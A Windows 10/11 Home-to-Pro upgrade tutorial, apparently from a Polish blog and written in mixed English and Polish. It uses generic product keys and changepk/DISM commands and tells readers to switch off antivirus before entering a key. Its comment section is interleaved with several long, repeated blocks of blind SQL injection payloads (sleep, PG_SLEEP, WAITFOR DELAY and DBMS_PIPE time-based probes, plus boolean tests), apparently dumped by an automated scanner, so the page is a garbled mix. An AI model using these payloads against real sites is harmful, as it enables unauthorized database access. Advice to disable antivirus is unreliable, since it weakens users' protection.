Windows 10 / 11 how to change the system version from HOME to PRO
- 01 Sie, 2022
- List of blogs
- 116 Comments

Windows 10 / 11 how to change version from HOME to PRO
Below are ways to change from Home to Pro, the instructions are for Windows 10 and Windows 11.
Method 1: (Recommended)
- Type in start menu " CMD " - run as administrator.
- Type the following commands:
sc config licensemanager start= auto & net start licensemanager
sc config wuauserv start= auto & net start wuauserv
changepk.exe /ProductKey VK7JG-NPHTM-C97JM-9MPGT-3V66T
Note: Do not change the key to the one you purchased, use 1/1 as per the instructions!
Sposób 2:
- Wpisz w menu start " CMD " - uruchom jako administrator.
- Wpisz poniższe polecenie:
DISM /online /Set-Edition:Pro /ProductKey:<QV897-8DNP9-PQQXF-H8G7C-4RG6T> /AcceptEula
Możesz również zamienić klucz w poleceniu na ten który został zakupiony. (Powyższy klucz instalacyjny w poleceniu nie służy do aktywacji)
Sposób 3:
Klucz do aktualizacji:
VK7JG-NPHTM-C97JM-9MPGT-3V66T
Instrukcja użycia klucza do aktualizacji:
1. Wyłącz internet, antywirusa następnie użyj klucza do aktualizacji.
2. Włącz internet oraz użyj zakupionego klucza (Jeśli nie zakupiono użyj ponownie klucza do aktualizacji).
3. Zaczekaj 5-45 minut następnie uruchom ponownie komputer.
(czasami należy odczekać nawet do 6 godzin)
UWAGA! Instrukcje należy wykonać RAZ!
Using the instructions above 2 times will change the version from home to pro and then to enterprise!
The above instructions apply to products Windows 10 / 11:
Microsoft Windows 10
Microsoft Windows 11

I don't know about the other ways to change from Home to Pro, but in the first one you should add a note that you have to restart the computer after the procedure.
The second method did not work.
-1' OR 5*5=25 or '8bXfDQ1h'='
-1 OR 5*5=26 OR '8bXfDQ1h'='
-1" OR 5*5=25 OR "gEFx6zuB"="
-1" OR 5*5=26 OR "gEFx6zuB"="
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/
1-1; wait for delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 wait for delay '0:0:15' --
1BmaRTTyr\' waitfor delay \'0:0:15\' --
1-1 OR 980=(SELECT 980 FROM PG_SLEEP(15))--
1-1) OR 814=(SELECT 814 FROM PG_SLEEP(15))--
1-1)) OR 660=(SELECT 660 FROM PG_SLEEP(15))--
11x2xxkqN\' OR 613=(SELECT 613 FROM PG_SLEEP(15))--
1Jdcjtpnq\') OR 993=(SELECT 993 FROM PG_SLEEP(15))--
17rtk1HPW\')) OR 583=(SELECT 583 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'
(select 198766*667891 from DUAL)
Nothing worked. None of the methods.
I confirm that none of the methods work. It immediately throws up errors. There's something wrong with these keys. Eh, we'll have to report this fraud to the appropriate authorities.
Great, the first method worked. The purchased key also worked.
Don't worry. Read my comment from December 13, 2025. Everything works, you just have to do it right.
Method 1 works flawlessly :)
Everything works thanks to you! Method 1 is the best.
Everything works smoothly. Enter the commands from the first method one by one in CMD mode for the Administrator. The last command activates the change from Home to Pro. The system will restart itself after completion. This may take several attempts. After starting Windows 11 Pro, go to System/Activation and activate the new product using the key you received/purchased.
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/
1-1; wait for delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 wait for delay '0:0:15' --
1Y8KqCr8K\'; waitfor delay '0:0:15' --
1-1 OR 39=(SELECT 39 FROM PG_SLEEP(15))--
1-1) OR 746 = (SELECT 746 FROM PG_SLEEP(15))--
1-1)) OR 346=(SELECT 346 FROM PG_SLEEP(15))--
1E4CXIhqr\' OR 618=(SELECT 618 FROM PG_SLEEP(15))--
1hj4lEuN9\') OR 615=(SELECT 615 FROM PG_SLEEP(15))--
111u7MKHy')) OR 33=(SELECT 33 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'
(select 198766*667891 from DUAL)
-1 OR 2+520-520-1=0+0+0+1 --
-1 OR 3+520-520-1=0+0+0+1 --
-1 OR 2+329-329-1=0+0+0+1
-1 OR 3+329-329-1=0+0+0+1
-1 OR 2+220-220-1=0+0+0+1 --
-1 OR 3+220-220-1=0+0+0+1 --
-1 OR 2+103-103-1=0+0+0+1 or 'XGyWlBGd'='
-1 OR 3+103-103-1=0+0+0+1 OR 'XGyWlBGd'='
-1" OR 2+738-738-1=0+0+0+1 --
-1" OR 3+738-738-1=0+0+0+1 --
if (now() == sysdate(), sleep(15), 0)
0\'XOR(if(now()=sysdate(),sleep(15),0))XOR\'Z
0\"XOR(if(now()=sysdate(),sleep(15),0))XOR\"Z
(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
'coKbCL2F'\' waitfor delay '0:0:15' --
-5 OR 270=(SELECT 270 FROM PG_SLEEP(15))--
-5) OR 441=(SELECT 441 FROM PG_SLEEP(15))--
-1)) OR 492=(SELECT 492 FROM PG_SLEEP(15))--
E4Fu7nMg\' OR 243=(SELECT 243 FROM PG_SLEEP(15))--
nPMH60mf') OR 675=(SELECT 675 FROM PG_SLEEP(15))--
8qw1L0Oo\')) OR 602=(SELECT 602 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'
-1 OR 5*5=25 OR 'S8TK6ZcG'='
-1' OR 5*5=26 or 'S8TK6ZcG'='
-1" OR 5*5=25 or "Qo6QKFzR"="
-1" OR 5*5=26 or "Qo6QKFzR"="
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/
1-1; wait for delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 wait for delay '0:0:15' --
1BNFqwkyR\'; waitfor delay \'0:0:15\' --
1-1 OR 514=(SELECT 514 FROM PG_SLEEP(15))--
1-1) OR 234=(SELECT 234 FROM PG_SLEEP(15))--
1-1)) OR 814=(SELECT 814 FROM PG_SLEEP(15))--
1cWsDX4ya\' OR 875=(SELECT 875 FROM PG_SLEEP(15))--
130HYbkXB\') OR 268=(SELECT 268 FROM PG_SLEEP(15))--
1WYUYrDRh\')) OR 313=(SELECT 313 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'
(select 198766*667891 from DUAL)
Everything works as it should. Simple activation—the first method worked. I recommend it.
-1' OR 5*5=25 or '7yF5FDK9'='
-1' OR 5*5=26 or '7yF5FDK9'='
-1" OR 5*5=25 OR "Tw5oKzC8"="
-1" OR 5*5=26 OR "Tw5oKzC8"="
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/
1-1; wait for delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 wait for delay '0:0:15' --
15c42orvP\'; waitfor delay \'0:0:15\' --
1-1 OR 742=(SELECT 742 FROM PG_SLEEP(15))--
1-1) OR 395=(SELECT 395 FROM PG_SLEEP(15))--
1-1)) OR 975=(SELECT 975 FROM PG_SLEEP(15))--
1lSs9DHWq' OR 804=(SELECT 804 FROM PG_SLEEP(15))--
1UelWtCJe\') OR 419=(SELECT 419 FROM PG_SLEEP(15))--
1D29ea9zS\')) OR 954=(SELECT 954 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'
(select 198766*667891 from DUAL)